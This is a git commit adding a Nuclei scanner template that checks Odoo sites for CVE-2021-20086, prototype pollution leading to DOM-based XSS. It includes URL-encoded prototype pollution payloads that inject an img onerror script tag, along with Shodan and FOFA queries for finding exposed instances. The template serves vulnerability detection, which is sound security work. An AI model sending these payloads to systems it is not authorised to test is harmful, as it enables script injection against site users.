updated author name

Added CVE-2021-20086
2026-11-07 08:36:19 -10:00 · 2025-09-11 09:06:48 +08:00 · 2025-09-11 09:05:48 +08:00
1 changed files with 76 additions and 0 deletions
@@ -0,0 +1,76 @@
+id: CVE-2021-20086
+
+info:
+  name: Odoo Apps - Prototype Pollution to DOM-based XSS
+  author: 1337rokudenashi
+  severity: high
+  description: |
+    Odoo apps (<= 15.0) using jQuery BBQ < 1.3.1 are vulnerable to prototype pollution via $.deparam(),
+    allowing DOM-based reflected XSS. The vulnerability occurs due to insufficient validation in the
+    jQuery BBQ library's deparam function which can be exploited to pollute the prototype chain.
+  reference:
+    - https://www.cve.org/CVERecord?id=CVE-2021-20086
+    - https://www.tenable.com/security/research/tra-2022-10
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-20086
+    - https://github.com/jquery/jquery-bbq/commit/6c7fb7e2a868e94cd0b95baa4b5b2ce9a4b2a7a5
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2021-20086
+    cwe-id: CWE-1321
+    epss-score: 0.00556
+    epss-percentile: 0.67093
+    cpe: cpe:2.3:a:jquery-bbq_project:jquery-bbq:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: odoo
+    product: odoo
+    shodan-query:
+      - title:"Odoo"
+      - http.html:"jquery.bbq"
+    fofa-query:
+      - title="Odoo"
+      - body="jquery.bbq"
+  tags: cve,cve2021,prototype-pollution,odoo,xss,jquery-bbq,dom
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert('nuclei-xss-test')%3E&__proto__%5Bjquery%5D=x"
+      - "{{BaseURL}}?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert('nuclei-xss-test')%3E&constructor%5Bprototype%5D%5Bjquery%5D=x"
+
+    stop-at-first-match: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "alert('nuclei-xss-test')"
+        condition: and
+
+      - type: word
+        part: body
+        words:
+          - "odoo"
+          - "jquery"
+        condition: and
+        case-insensitive: true
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - "(?i)<img[^>]+onerror=alert\\('nuclei-xss-test'\\)[^>]*>"
+          - "(?i)jquery[\\s]*bbq[\\s]*([0-9\\.]+)"
Author	SHA1	Message	Date
Prince Chaddha	48d8c39813	updated author name	2025-09-11 09:06:48 +08:00
Prince Chaddha	9944a019ec	Added CVE-2021-20086	2025-09-11 09:05:48 +08:00